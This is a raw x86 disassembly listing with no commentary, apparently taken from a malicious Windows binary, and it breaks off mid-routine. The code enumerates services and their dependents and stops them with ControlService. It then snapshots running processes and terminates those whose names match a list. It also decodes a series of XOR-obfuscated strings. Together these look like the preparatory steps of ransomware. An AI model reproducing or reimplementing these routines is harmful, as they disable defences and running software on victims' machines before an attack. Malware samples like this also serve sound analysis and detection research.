mov dword [eax + 0xc], esi
mov dword [eax + 8], esi
mov dword [eax + 0x14], esi
mov dword [eax + 0x10], esi
mov dword [eax + 0x1c], esi
mov dword [eax + 0x18], esi
mov dword [eax + 0x20], esi
add eax, 0x24
dec ecx
jne 0x408ac4
xor ecx, ecx
lea edx, [esp + 0xec]
mov dword [eax + 4], ecx
mov dword [eax], ecx
mov dword [eax + 0xc], ecx
mov dword [eax + 8], ecx
mov dword [eax + 0x14], ecx
mov dword [eax + 0x10], ecx
mov dword [eax + 0x1c], ecx
mov dword [eax + 0x18], ecx
mov dword [eax + 0x20], ecx
lea eax, [esp + 0x6c]
push ecx
push eax
push edx
push 0xf9e4
push dword [esp + 0x70]
push 1
push 0x30
push dword [esp + 0x24]
call sub.advapi32.dll_EnumServicesStatusW
test eax, eax
je 0x408d50
mov ecx, dword [esp + 0x6c]
test ecx, ecx
je 0x408d50
xor eax, eax
mov ebx, 4
cmp ecx, 0x6f2
mov dword [esp + 0x3c], 0
mov dword [esp + 0xcc], eax
mov dword [esp + 0xd0], ebx
mov dword [esp + 0xc0], eax
mov dword [esp + 0xc4], ebx
mov dword [esp + 0xb0], eax
mov dword [esp + 0xb4], ebx
mov dword [esp + 0xd4], eax
mov dword [esp + 0xc8], eax
mov dword [esp + 0xb8], eax
jae 0x40b7b5
mov edx, dword [esp + 0x60]
lea eax, [ecx + ecx*8]
add dword [esp + 0xac], 8
lea eax, [edx + eax*4]
mov esi, edx
mov dword [esp + 0x68], eax
lea eax, [edi*4]
lea eax, [eax + eax*2]
mov dword [esp + 0xe8], eax
mov edx, dword [esi]
add esi, 0x24
xor eax, eax
mov dword [esp + 0xc], ebx
cmp word [edx + eax*2], 0
je 0x408bda
inc eax
cmp eax, 0xffff
jne 0x408bc6
mov eax, 0xffff
mov dword [esp + 0x14], esi
lea ecx, [esp + 0xf0]
push eax
call fcn.00453380
add esp, 4
mov edx, dword [esp + 0xf4]
lea ecx, [esp + 0x70]
mov dword [esp + 0x18], edx
push dword [esp + 0xf8]
call fcn.00459dd0
add esp, 4
mov ebx, dword [esp + 0x74]
lea ecx, [esp + 0x20]
mov edx, ebx
push dword [esp + 0x78]
call fcn.00414b10
add esp, 4
test dword [esp + 0x70], 0x7fffffff
je 0x408c3b
push ebx
push 0
push dword [0x48fd58]
call dword [sym.imp.kernel32.dll_HeapFree]
test edi, edi
je 0x408c7b
mov eax, dword [esp + 0x24]
mov edi, dword [esp + 0x28]
mov esi, dword [esp + 0xe8]
mov ebx, dword [esp + 0xac]
mov dword [esp + 0x50], eax
mov eax, dword [ebx]
cmp eax, edi
ja 0x408c73
push eax
push dword [esp + 0x54]
push dword [ebx - 4]
call fcn.00460cfe
add esp, 0xc
test eax, eax
je 0x408ccb
add ebx, 0xc
add esi, 0xfffffff4
jne 0x408c59
cmp dword [esp + 0x20], 0
je 0x408c94
push dword [esp + 0x24]
push 0
push dword [0x48fd58]
call dword [sym.imp.kernel32.dll_HeapFree]
cmp dword [esp + 0xf0], 0
mov ebx, dword [esp + 0xc]
mov esi, dword [esp + 0x14]
je 0x408cb8
push dword [esp + 0x18]
push 0
push dword [0x48fd58]
call dword [sym.imp.kernel32.dll_HeapFree]
mov edi, dword [esp + 0x10]
cmp esi, dword [esp + 0x68]
jne 0x408bbb
jmp 0x408d83
mov edx, dword [esp + 0x3c]
mov esi, dword [esp + 0x14]
cmp edx, dword [esp + 0xcc]
jne 0x408cfc
lea ecx, [esp + 0xcc]
call fcn.0045e8a0
mov ebx, dword [esp + 0xd0]
mov edx, dword [esp + 0xd4]
mov edi, dword [esp + 0x10]
jmp 0x408d04
mov edi, dword [esp + 0x10]
mov ebx, dword [esp + 0xc]
movsd xmm0, qword [esp + 0xf0]
movsd xmm1, qword [esp + 0xf8]
mov eax, edx
inc edx
shl eax, 4
mov dword [esp + 0x3c], edx
movsd qword [ebx + eax + 8], xmm1
movsd qword [ebx + eax], xmm0
mov dword [esp + 0xd4], edx
cmp dword [esp + 0x20], 0
je 0x408cbc
push dword [esp + 0x50]
push 0
push dword [0x48fd58]
call dword [sym.imp.kernel32.dll_HeapFree]
jmp 0x408cbc
push dword [esp + 8]
call sub.advapi32.dll_CloseServiceHandle
push dword [esp + 0x60]
push 0
push dword [0x48fd58]
call dword [sym.imp.kernel32.dll_HeapFree]
lea ecx, [esp + 0xd8]
call fcn.0045f234
lea edi, [esp + 0xf0]
jmp 0x4092d9
mov eax, dword [esp + 0x3c]
test eax, eax
je 0x4090e6
shl eax, 4
xor edi, edi
mov esi, 4
add eax, ebx
mov dword [esp + 0x3c], eax
mov eax, dword [ebx + 4]
mov ecx, dword [ebx + 8]
mov dword [esp + 0xf0], 1
lea edx, [esp + 0xf0]
mov dword [esp + 0xc], ebx
add ecx, eax
mov dword [esp + 0xf4], eax
mov dword [esp + 0xf8], ecx
lea ecx, [esp + 0x70]
mov word [esp + 0xfc], 0
call fcn.0045e500
mov eax, dword [esp + 0x74]
push 8
mov dword [esp + 0x18], eax
push eax
push dword [esp + 0x10]
call sub.advapi32.dll_OpenServiceW
test eax, eax
je 0x408ef2
mov ebx, eax
lea eax, [esp + 0x6c]
push eax
lea eax, [esp + 0xf0]
push eax
push 0xf9e4
push dword [esp + 0x6c]
push 1
push ebx
call sub.advapi32.dll_EnumDependentServicesW
mov dword [esp + 0x50], eax
mov eax, dword [esp + 0x6c]
mov dword [esp + 0x18], eax
push ebx
call sub.advapi32.dll_CloseServiceHandle
cmp dword [esp + 0x50], 0
je 0x408ef2
cmp dword [esp + 0x18], 0
je 0x408ef2
mov ecx, dword [esp + 0x6c]
cmp ecx, 0x6f2
jae 0x40b757
test ecx, ecx
je 0x408ef2
mov ebx, dword [esp + 0x60]
lea eax, [ecx + ecx*8]
lea eax, [ebx + eax*4]
mov dword [esp + 0x50], eax
mov edx, dword [ebx]
add ebx, 0x24
xor eax, eax
cmp word [edx + eax*2], 0
je 0x408e83
inc eax
cmp eax, 0xffff
jne 0x408e6f
mov eax, 0xffff
lea ecx, [esp + 0xf0]
push eax
call fcn.00453380
add esp, 4
cmp edi, dword [esp + 0xc0]
jne 0x408eba
lea ecx, [esp + 0xc0]
mov edx, edi
call fcn.0045e8a0
mov ecx, dword [esp + 0xc4]
mov edi, dword [esp + 0xc8]
jmp 0x408ebc
mov ecx, esi
mov eax, edi
movsd xmm0, qword [esp + 0xf0]
movsd xmm1, qword [esp + 0xf8]
inc edi
mov esi, ecx
shl eax, 4
cmp ebx, dword [esp + 0x50]
movsd qword [ecx + eax + 8], xmm1
movsd qword [ecx + eax], xmm0
mov dword [esp + 0xc8], edi
jne 0x408e68
cmp dword [esp + 0x70], 0
je 0x408f0b
push dword [esp + 0x14]
push 0
push dword [0x48fd58]
call dword [sym.imp.kernel32.dll_HeapFree]
mov ebx, dword [esp + 0xc]
mov eax, dword [esp + 0x3c]
add ebx, 0x10
cmp ebx, eax
jne 0x408d9f
test edi, edi
je 0x4090e6
shl edi, 4
xor ebx, ebx
mov ecx, 4
add edi, esi
mov dword [esp + 0x50], ecx
mov eax, dword [esi + 4]
mov ecx, dword [esi + 8]
mov dword [esp + 0xf0], 1
lea edx, [esp + 0xf0]
mov dword [esp + 0x14], esi
add ecx, eax
mov dword [esp + 0xf4], eax
mov dword [esp + 0xf8], ecx
lea ecx, [esp + 0x70]
mov word [esp + 0xfc], 0
call fcn.0045e500
mov eax, dword [esp + 0x74]
push 8
mov dword [esp + 0x1c], eax
push eax
push dword [esp + 0x10]
call sub.advapi32.dll_OpenServiceW
test eax, eax
je 0x409093
mov esi, eax
lea eax, [esp + 0x6c]
push eax
lea eax, [esp + 0xf0]
push eax
push 0xf9e4
push dword [esp + 0x6c]
push 1
push esi
call sub.advapi32.dll_EnumDependentServicesW
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x6c]
mov dword [esp + 0x3c], eax
push esi
call sub.advapi32.dll_CloseServiceHandle
cmp dword [esp + 0xc], 0
je 0x409093
cmp dword [esp + 0x3c], 0
je 0x409093
mov ecx, dword [esp + 0x6c]
cmp ecx, 0x6f2
jae 0x40b76b
test ecx, ecx
je 0x4090b6
mov esi, dword [esp + 0x60]
lea eax, [ecx + ecx*8]
mov ecx, dword [esp + 0x50]
lea eax, [esi + eax*4]
mov dword [esp + 0xc], eax
mov edx, dword [esi]
add esi, 0x24
xor eax, eax
mov dword [esp + 0x50], ecx
cmp word [edx + eax*2], 0
je 0x409022
inc eax
cmp eax, 0xffff
jne 0x40900e
mov eax, 0xffff
lea ecx, [esp + 0xf0]
push eax
call fcn.00453380
add esp, 4
cmp ebx, dword [esp + 0xb0]
jne 0x409059
lea ecx, [esp + 0xb0]
mov edx, ebx
call fcn.0045e8a0
mov ecx, dword [esp + 0xb4]
mov ebx, dword [esp + 0xb8]
jmp 0x40905d
mov ecx, dword [esp + 0x50]
mov eax, ebx
movsd xmm0, qword [esp + 0xf0]
movsd xmm1, qword [esp + 0xf8]
inc ebx
shl eax, 4
cmp esi, dword [esp + 0xc]
movsd qword [ecx + eax + 8], xmm1
movsd qword [ecx + eax], xmm0
mov dword [esp + 0xb8], ebx
jne 0x409003
jmp 0x4090ba
cmp dword [esp + 0x70], 0
je 0x4090ac
push dword [esp + 0x18]
push 0
push dword [0x48fd58]
call dword [sym.imp.kernel32.dll_HeapFree]
mov esi, dword [esp + 0x14]
mov ecx, dword [esp + 0x50]
jmp 0x4090db
mov ecx, dword [esp + 0x50]
cmp dword [esp + 0x70], 0
je 0x4090d7
push dword [esp + 0x18]
push 0
push dword [0x48fd58]
mov esi, ecx
call dword [sym.imp.kernel32.dll_HeapFree]
mov ecx, esi
mov esi, dword [esp + 0x14]
add esi, 0x10
cmp esi, edi
jne 0x408f32
mov al, byte [0x48fdb4]
xor ecx, ecx
mov edx, 0x24
xor esi, esi
call fcn.0045a4d0
test eax, eax
je 0x40b7c4
mov ecx, dword [esp + 0xb8]
mov dword [esp + 0x3c], eax
lea edi, [esp + 0xf0]
mov dword [eax + 8], ecx
lea ecx, [eax + 0xc]
movsd xmm0, qword [esp + 0xb0]
mov dword [esp + 0xc], ecx
movsd qword [eax], xmm0
movsd xmm0, qword [esp + 0xc0]
movsd qword [eax + 0xc], xmm0
mov ecx, dword [esp + 0xc8]
mov dword [eax + 0x14], ecx
movsd xmm0, qword [esp + 0xcc]
movsd qword [eax + 0x18], xmm0
xorps xmm0, xmm0
mov ecx, dword [esp + 0xd4]
mov dword [eax + 0x20], ecx
mov eax, 0x18
mov dword [esp + 0x104], esi
mov dword [esp + 0x100], esi
mov dword [esp + 0x108], esi
movaps xmmword [esp + 0xf0], xmm0
mov edx, dword [esp + 0x3c]
lea ecx, [esi + esi*2]
mov dword [esp + 0x14], eax
inc esi
mov eax, dword [edx + ecx*4]
cmp eax, 0x80000000
je 0x409278
lea ecx, [edx + ecx*4]
mov dword [esp + 0x18], esi
mov edi, dword [ecx + 8]
mov esi, dword [ecx + 4]
mov dword [esp + 0x40], eax
test edi, edi
mov dword [esp + 0x48], edi
mov dword [esp + 0x44], esi
je 0x40924d
add esi, 8
shl edi, 4
mov eax, dword [esi - 4]
mov ecx, dword [esi]
mov dword [esp + 0x70], 1
lea edx, [esp + 0x70]
add ecx, eax
mov dword [esp + 0x74], eax
mov dword [esp + 0x78], ecx
lea ecx, [esp + 0x20]
mov word [esp + 0x7c], 0
call fcn.0045e500
mov eax, dword [esp + 0x24]
push 0x20
mov dword [esp + 0x54], eax
push eax
push dword [esp + 0x10]
call sub.advapi32.dll_OpenServiceW
test eax, eax
je 0x40921b
mov ebx, eax
lea eax, [esp + 0xf0]
push eax
push 1
push ebx
call sub.advapi32.dll_ControlService
push ebx
call sub.advapi32.dll_CloseServiceHandle
cmp dword [esp + 0x20], 0
je 0x409234
push dword [esp + 0x50]
push 0
push dword [0x48fd58]
call dword [sym.imp.kernel32.dll_HeapFree]
add esi, 0x10
add edi, 0xfffffff0
jne 0x4091c0
mov ecx, 2
xor edx, edx
push 0
call fcn.00451420
add esp, 4
lea ecx, [esp + 0x40]
call fcn.0045ee8f
mov eax, dword [esp + 0x14]
mov esi, dword [esp + 0x18]
add dword [esp + 0xc], 0xc
lea edi, [esp + 0xf0]
add eax, 0xfffffff4
cmp esi, 3
jne 0x40917f
jmp 0x4092a2
mov eax, dword [esp + 0x14]
cmp esi, 3
je 0x4092a2
mov ecx, 0xaaaaaaab
mul ecx
mov esi, edx
shr esi, 3
mov ebx, dword [esp + 0xc]
mov ecx, ebx
call fcn.0045ee8f
add ebx, 0xc
dec esi
mov dword [esp + 0xc], ebx
jne 0x40928d
xor esi, esi
push dword [esp + 0x3c]
push esi
push dword [0x48fd58]
mov ebx, dword [sym.imp.kernel32.dll_HeapFree]
call ebx
push dword [esp + 8]
call sub.advapi32.dll_CloseServiceHandle
push dword [esp + 0x60]
push esi
push dword [0x48fd58]
call ebx
lea ecx, [esp + 0xd8]
call fcn.0045f234
lea eax, [0x46405f]
mov dword [esp + 0xf0], eax
mov ecx, dword [esp + 0xf0]
mov dword [esp + 0xf0], 0xca97b72c
mov edx, dword [esp + 0xf0]
call fcn.00403a2c
xorps xmm0, xmm0
mov ecx, 0xfffffffc
movaps xmmword [esp + 0xf0], xmm0
mov edx, dword [ecx + 0x473a65]
xor edx, dword [eax + ecx + 4]
mov dword [esp + ecx + 0xf4], edx
add ecx, 4
cmp ecx, 0xc
jb 0x409314
mov al, byte [eax + 0x10]
movaps xmm0, xmmword [esp + 0xf0]
mov ecx, 0x11
xor edx, edx
xor al, 0x95
movaps xmmword [esp + 0x20], xmm0
mov byte [esp + 0x30], al
call fcn.0043b1bc
movsd xmm0, qword [esp + 0x20]
movsd xmm1, qword [esp + 0x28]
lea esi, [esp + 0x70]
lea edi, [esp + 0x330]
movsd qword [edx], xmm0
movsd qword [edx + 8], xmm1
mov cl, byte [esp + 0x30]
mov byte [edx + 0x10], cl
mov dword [esp + 0xf4], eax
lea eax, [esp + 0xf0]
mov dword [esp + 0xf8], edx
mov dword [esp + 0xfc], 0x11
mov dword [esp + 0xf0], 0x13
mov ecx, esi
mov edx, edi
push eax
call fcn.00402e6d
add esp, 4
mov ecx, esi
call fcn.00401b70
mov ecx, edi
call fcn.00401e6f
mov edi, dword [esp + 0x1c]
mov esi, dword [esp + 0x10]
mov ecx, edi
mov edx, esi
call fcn.00440912
test esi, esi
je 0x4093e0
push edi
push 0
push dword [0x48fd58]
call dword [sym.imp.kernel32.dll_HeapFree]
mov eax, dword [esp + 0x3c0]
lea edi, [esp + 0xf0]
mov dword [esp + 0x3c], eax
mov eax, dword [esp + 0x3c4]
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x3c8]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x3f0]
mov dword [esp + 0xc0], eax
lea eax, [0x46479e]
mov dword [esp + 0xf0], eax
mov ecx, dword [esp + 0xf0]
mov dword [esp + 0xf0], 0xb1c42e9a
mov edx, dword [esp + 0xf0]
call fcn.00403520
xorps xmm0, xmm0
mov ecx, 0xfffffffc
movaps xmmword [esp + 0xf0], xmm0
mov edx, dword [ecx + 0x473a76]
xor edx, dword [eax + ecx + 4]
mov dword [esp + ecx + 0xf4], edx
add ecx, 4
cmp ecx, 0xc
jb 0x409451
mov al, byte [eax + 0x10]
movaps xmm0, xmmword [esp + 0xf0]
mov ecx, 0x11
xor edx, edx
xor al, 0xd0
movaps xmmword [esp + 0x20], xmm0
mov byte [esp + 0x30], al
call fcn.0043b1bc
movsd xmm0, qword [esp + 0x20]
movsd xmm1, qword [esp + 0x28]
lea esi, [esp + 0x70]
movsd qword [edx], xmm0
movsd qword [edx + 8], xmm1
mov cl, byte [esp + 0x30]
mov byte [edx + 0x10], cl
mov dword [esp + 0xf4], eax
mov dword [esp + 0xf8], edx
mov dword [esp + 0xfc], 0x11
mov dword [esp + 0xf0], 0x12
lea edx, [esp + 0xc0]
mov ecx, esi
push edi
call fcn.00402e6d
add esp, 4
mov ecx, esi
call fcn.00401b70
mov ecx, dword [esp + 0xc]
call fcn.0045e853
test eax, eax
mov dword [esp + 0x10], edx
mov dword [esp + 8], eax
je 0x40955c
mov eax, dword [esp + 0xc]
mov edi, dword [esp + 0x10]
mov esi, dword [esp + 8]
lea eax, [eax*4]
lea ebx, [eax + eax*2]
mov eax, dword [esp + 0x1c]
test ebx, ebx
je 0x40955c
mov edx, dword [eax + 4]
lea ecx, [eax + 0xc]
mov dword [esp + 0x50], ecx
lea ecx, [esp + 0xf0]
push dword [eax + 8]
call fcn.00415160
add esp, 4
mov eax, dword [esp + 0xf8]
add ebx, 0xfffffff4
dec esi
mov dword [edi + 8], eax
mov eax, dword [esp + 0x50]
movsd xmm0, qword [esp + 0xf0]
movsd qword [edi], xmm0
lea edi, [edi + 0xc]
jne 0x409518
mov eax, dword [esp + 8]
mov dword [esp + 0xb0], eax
mov eax, dword [esp + 0x10]
mov dword [esp + 0xb4], eax
mov eax, dword [esp + 0xc]
mov dword [esp + 0xb8], eax
push 0
push 2
call sub.kernel32.dll_CreateToolhelp32Snapshot
test eax, eax
lea edi, [esp + 0xf0]
je 0x409767
xor esi, esi
lea ebx, [esp + 0x114]
mov dword [esp + 0x14], eax
push 0x208
push esi
push ebx
call fcn.00462900
add esp, 0xc
mov dword [ebx - 0x24], 0x22c
mov dword [ebx - 0x1c], esi
mov dword [ebx - 0x20], esi
mov dword [ebx - 0x14], esi
mov dword [ebx - 0x18], esi
mov dword [ebx - 0xc], esi
mov dword [ebx - 0x10], esi
mov dword [ebx - 4], esi
mov dword [ebx - 8], esi
mov esi, dword [esp + 0x14]
push edi
push esi
call sub.kernel32.dll_Process32FirstW
test eax, eax
je 0x409760
mov eax, dword [esp + 0xc]
add dword [esp + 0x10], 8
lea eax, [eax*4]
lea eax, [eax + eax*2]
mov dword [esp + 0x18], eax
xor eax, eax
cmp word [esp + eax*2 + 0x114], 0
je 0x409614
inc eax
cmp eax, 0xffff
jne 0x4095fc
mov eax, 0xffff
lea ecx, [esp + 0x70]
lea edx, [esp + 0x114]
push eax
call fcn.00453380
add esp, 4
mov edx, dword [esp + 0x74]
lea ecx, [esp + 0x20]
mov dword [esp + 8], edx
push dword [esp + 0x78]
call fcn.00459dd0
add esp, 4
mov edi, dword [esp + 0x24]
lea ecx, [esp + 0x40]
mov edx, edi
push dword [esp + 0x28]
call fcn.00414b10
add esp, 4
test dword [esp + 0x20], 0x7fffffff
je 0x40966f
push edi
push 0
push dword [0x48fd58]
call dword [sym.imp.kernel32.dll_HeapFree]
cmp dword [esp + 0xc], 0
je 0x4096d4
mov eax, dword [esp + 0x44]
mov esi, dword [esp + 0x48]
mov ebx, dword [esp + 0x18]
mov edi, dword [esp + 0x10]
mov dword [esp + 0x50], eax
mov eax, dword [edi]
cmp eax, esi
ja 0x4096a4
push eax
push dword [esp + 0x54]
push dword [edi - 4]
call fcn.00460cfe
add esp, 0xc
test eax, eax
je 0x4096ae
add edi, 0xc
add ebx, 0xfffffff4
jne 0x40968a
jmp 0x4096d4
push dword [esp + 0xf8]
push 0
push 1
call sub.kernel32.dll_OpenProcess
test eax, eax
je 0x4096d4
mov edi, eax
push 0
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
push edi
call dword [sym.imp.kernel32.dll_CloseHandle]
lea edi, [esp + 0xf0]
push edi
mov esi, dword [esp + 0x18]
push esi
call sub.kernel32.dll_Process32NextW
test eax, eax
je 0x409725
cmp dword [esp + 0x40], 0
je 0x409703
push dword [esp + 0x44]
push 0
push dword [0x48fd58]
call dword [sym.imp.kernel32.dll_HeapFree]
cmp dword [esp + 0x70], 0
je 0x4095fa
push dword [esp + 8]
push 0
push dword [0x48fd58]
call dword [sym.imp.kernel32.dll_HeapFree]
jmp 0x4095fa
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
cmp dword [esp + 0x40], 0
je 0x409745
push dword [esp + 0x44]
push 0
push dword [0x48fd58]
call dword [sym.imp.kernel32.dll_HeapFree]
cmp dword [esp + 0x70], 0
je 0x409767
push dword [esp + 8]
push 0
push dword [0x48fd58]
call dword [sym.imp.kernel32.dll_HeapFree]
jmp 0x409767
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
lea ecx, [esp + 0xb0]
call fcn.0045f234
lea eax, [0x46ef32]
mov dword [esp + 0xf0], eax
mov ecx, dword [esp + 0xf0]
mov dword [esp + 0xf0], 0xbfe6e97
mov edx, dword [esp + 0xf0]
call fcn.00403b67
xorps xmm0, xmm0
mov ecx, 0xfffffffc
movaps xmmword [esp + 0xf0], xmm0
mov edx, dword [ecx + 0x473a87]
xor edx, dword [eax + ecx + 4]
mov dword [esp + ecx + 0xf4], edx
add ecx, 4
cmp ecx, 0xc
jb 0x4097ae
mov al, byte [eax + 0x10]
movaps xmm0, xmmword [esp + 0xf0]
mov ecx, 0x11
xor edx, edx
xor al, 0x35
movaps xmmword [esp + 0x20], xmm0
mov byte [esp + 0x30], al
call fcn.0043b1bc
movsd xmm0, qword [esp + 0x20]
movsd xmm1, qword [esp + 0x28]
lea esi, [esp + 0x70]
lea edi, [esp + 0xc0]
movsd qword [edx], xmm0
movsd qword [edx + 8], xmm1
mov cl, byte [esp + 0x30]
mov byte [edx + 0x10], cl
mov dword [esp + 0xf4], eax
lea eax, [esp + 0xf0]
mov dword [esp + 0xf8], edx
mov dword [esp + 0xfc], 0x11
mov dword [esp + 0xf0], 0x13
mov ecx, esi
mov edx, edi
push eax
call fcn.00402e6d
add esp, 4
mov ecx, esi
call fcn.00401b70
mov ecx, edi
call fcn.00401e6f
mov esi, dword [esp + 0x1c]
mov edx, dword [esp + 0xc]
mov ecx, esi
call fcn.00440912
cmp dword [esp + 0x3c], 0
je 0x40987b
push esi
push 0
push dword [0x48fd58]
call dword [sym.imp.kernel32.dll_HeapFree]
mov eax, dword [esp + 0x3f4]
lea ebx, [esp + 0xf0]
mov dword [esp + 0x40], eax
lea eax, [0x46560e]
mov dword [esp + 0xf0], eax
mov ecx, dword [esp + 0xf0]
mov dword [esp + 0xf0], 0x574c53d2
mov edx, dword [esp + 0xf0]
call fcn.00403816
xorps xmm0, xmm0
mov ecx, 0xfffffffc
mov dword [esp + 0x100], 0
movaps xmmword [esp + 0xf0], xmm0
mov edx, dword [ecx + str.xo:9]
xor edx, dword [eax + ecx + 4]
mov dword [esp + ecx + 0xf4], edx
add ecx, 4
cmp ecx, 0x10
jb 0x4098d3
mov eax, dword [esp + 0x100]
movaps xmm0, xmmword [esp + 0xf0]
mov ecx, 0x14
xor edx, edx
mov dword [esp + 0x30], eax
movaps xmmword [esp + 0x20], xmm0
call fcn.0043b1bc
movsd xmm0, qword [esp + 0x20]
movsd xmm1, qword [esp + 0x28]
lea esi, [esp + 0x70]
movsd qword [edx], xmm0
movsd qword [edx + 8], xmm1
mov ecx, dword [esp + 0x30]
mov dword [edx + 0x10], ecx
mov dword [esp + 0xf4], eax
mov dword [esp + 0xf8], edx
mov dword [esp + 0xfc], 0x14
mov dword [esp + 0xf0], 0x12
lea edx, [esp + 0x40]
mov ecx, esi
push ebx
call fcn.00402e6d
add esp, 4
mov ecx, esi
call fcn.00401b70
mov al, byte [0x48fdb4]
xor ecx, ecx
mov edx, 0x114
call fcn.0045a4d0
test eax, eax
je 0x40b77a
mov edi, eax
lea eax, [0x47b333]
mov dword [esp + 0xf0], eax
mov ecx, dword [esp + 0xf0]
mov dword [esp + 0xf0], 0x8020d606
mov edx, dword [esp + 0xf0]
call fcn.0045e9bf
movzx ebx, byte [eax + 2]
movzx esi, word [eax]
mov ecx, 3
xor esi, 0x2a27
xor bl, 0x75
call fcn.0045e82e
mov dword [esp + 0x50], eax
lea eax, [0x47e5a5]
mov dword [esp + 8], edx
mov word [edx], si
mov byte [edx + 2], bl
mov dword [esp + 0xf0], eax
lea eax, [esp + 0xf0]
mov ecx, dword [esp + 0xf0]
mov dword [esp + 0xf0], 0x7d99109b
mov edx, dword [esp + 0xf0]
call fcn.0045ea9f
movzx ebx, byte [eax + 2]
movzx esi, word [eax]
mov ecx, 3
xor esi, 0xeef9
xor bl, 0x3d
call fcn.0045e82e
mov dword [esp + 0xc], eax
lea eax, [0x479f57]
mov dword [esp + 0x14], edx
mov word [edx], si
mov byte [edx + 2], bl
mov dword [esp + 0xf0], eax
lea eax, [esp + 0xf0]
mov ecx, dword [esp + 0xf0]
mov dword [esp + 0xf0], 0x2c4ab5dc
mov edx, dword [esp + 0xf0]
call fcn.0045eb80
movzx ebx, byte [eax + 2]
movzx esi, word [eax]
mov ecx, 3
xor esi, 0xac24
xor bl, 0xb
call fcn.0045e82e
mov dword [esp + 0x10], eax
lea eax, [0x47de67]
mov dword [esp + 0x18], edx
mov word [edx], si
mov byte [edx + 2], bl
mov dword [esp + 0xf0], eax
lea eax, [esp + 0xf0]
mov ecx, dword [esp + 0xf0]
mov dword [esp + 0xf0], 0xbf631d31
mov edx, dword [esp + 0xf0]
call fcn.0045ecee
movzx ebx, byte [eax + 2]
movzx esi, word [eax]
mov ecx, 3
xor esi, 0xefce
xor bl, 0x66
call fcn.0045e82e
mov dword [esp + 0x1c], eax
lea eax, [0x483946]
mov dword [esp + 0x3c], edx
mov word [edx], si
mov byte [edx + 2], bl
mov dword [esp + 0xf0], eax
lea eax, [esp + 0xf0]
mov ecx, dword [esp + 0xf0]
mov dword [esp + 0xf0], 0x3bde2978
mov edx, dword [esp + 0xf0]
call fcn.0045ecb8
movzx ebx, byte [eax + 2]
movzx esi, word [eax]
mov ecx, 3
xor esi, 0x4145
xor bl, 0xd7
call fcn.0045e82e
mov dword [esp + 0x60], eax
lea eax, [0x484e8d]
mov dword [esp + 0x68], edx
mov word [edx], si
mov byte [edx + 2], bl
mov dword [esp + 0xf0], eax
lea eax, [esp + 0xf0]
mov ecx, dword [esp + 0xf0]
mov dword [esp + 0xf0], 0x87275bfd
mov edx, dword [esp + 0xf0]
call fcn.0045ee44
movzx ebx, byte [eax + 2]
movzx esi, word [eax]
mov ecx, 3
xor esi, 0x1322
xor bl, 0x2d
call fcn.0045e82e
mov dword [esp + 0xac], eax
lea eax, [0x485f65]
mov dword [esp + 0xe8], edx
mov word [edx], si
mov byte [edx + 2], bl
mov dword [esp + 0xf0], eax
lea eax, [esp + 0xf0]
mov ecx, dword [esp + 0xf0]
mov dword [esp + 0xf0], 0xd30f73a2
mov edx, dword [esp + 0xf0]
call fcn.0045ec13
movzx ebx, byte [eax + 2]
movzx esi, word [eax]
mov ecx, 3
xor esi, 0xc03c
xor bl, 0x54
call fcn.0045e82e
mov dword [esp + 0x3b0], eax
lea eax, [0x483f2d]
mov dword [esp + 0x3ac], edx
mov word [edx], si
mov byte [edx + 2], bl
mov dword [esp + 0xf0], eax
lea eax, [esp + 0xf0]
mov ecx, dword [esp + 0xf0]
mov dword [esp + 0xf0], 0xd3be0576
mov edx, dword [esp + 0xf0]
call fcn.0045ed21
movzx ebx, byte [eax + 2]
movzx esi, word [eax]
mov ecx, 3
xor esi, 0x3938
xor bl, 0x7e
call fcn.0045e82e
mov dword [esp + 0x3a8], eax
lea eax, [0x47d150]
mov dword [esp + 0x3a4], edx
mov word [edx], si
mov byte [edx + 2], bl
mov dword [esp + 0xf0], eax
lea eax, [esp + 0xf0]
mov ecx, dword [esp + 0xf0]
mov dword [esp + 0xf0], 0x4fd73a88
mov edx, dword [esp + 0xf0]
call fcn.0045eb4c
movzx ebx, byte [eax + 2]
movzx esi, word [eax]
mov ecx, 3
xor esi, 0x864c
xor bl, 0x8c
call fcn.0045e82e
mov dword [esp + 0x3a0], eax
lea eax, [0x47855a]
mov dword [esp + 0x39c], edx
mov word [edx], si
mov byte [edx + 2], bl
mov dword [esp + 0xf0], eax
lea eax, [esp + 0xf0]
mov ecx, dword [esp + 0xf0]
mov dword [esp + 0xf0], 0xd796cb8e
mov edx, dword [esp + 0xf0]
call fcn.0045eabf
movzx ebx, byte [eax + 2]
movzx esi, word [eax]
mov ecx, 3
xor esi, 0xa366
xor bl, 0x54
call fcn.0045e82e
mov dword [esp + 0x398], eax
lea eax, [0x4858c9]
mov dword [esp + 0x394], edx
mov word [edx], si
mov byte [edx + 2], bl
mov dword [esp + 0xf0], eax
lea eax, [esp + 0xf0]
mov ecx, dword [esp + 0xf0]
mov dword [esp + 0xf0], 0xa6fd766a
mov edx, dword [esp + 0xf0]
call fcn.0045ea24
movzx ebx, byte [eax + 2]
movzx esi, word [eax]
mov ecx, 3
xor esi, 0x42d3
xor bl, 0x19
call fcn.0045e82e
mov dword [esp + 0x390], eax
lea eax, [0x47df89]
mov dword [esp + 0x38c], edx
mov word [edx], si
mov byte [edx + 2], bl
mov dword [esp + 0xf0], eax
lea eax, [esp + 0xf0]
mov ecx, dword [esp + 0xf0]
mov dword [esp + 0xf0], 0x183f7c77
mov edx, dword [esp + 0xf0]
call fcn.0045ea82
movzx ebx, byte [eax + 2]
movzx esi, word [eax]
mov ecx, 3
xor esi, 0xd0ea
xor bl, 0xf4
call fcn.0045e82e
mov dword [esp + 0x388], eax
lea eax, [0x477ab3]
mov dword [esp + 0x384], edx
mov word [edx], si
mov byte [edx + 2], bl
mov dword [esp + 0xf0], eax
lea eax, [esp + 0xf0]
mov ecx, dword [esp + 0xf0]
mov dword [esp + 0xf0], 0x78e55429
mov edx, dword [esp + 0xf0]
call fcn.0045e9e0
movzx ebx, byte [eax + 2]
movzx esi, word [eax]
mov ecx, 3
xor esi, 0x2b37
xor bl, 0xb4
call fcn.0045e82e
mov dword [esp + 0x380], eax
lea eax, [0x478fb2]
mov dword [esp + 0x37c], edx
mov word [edx], si
mov byte [edx + 2], bl
mov dword [esp + 0xf0], eax
lea eax, [esp + 0xf0]
mov ecx, dword [esp + 0xf0]
mov dword [esp + 0xf0], 0xe9b5cddb
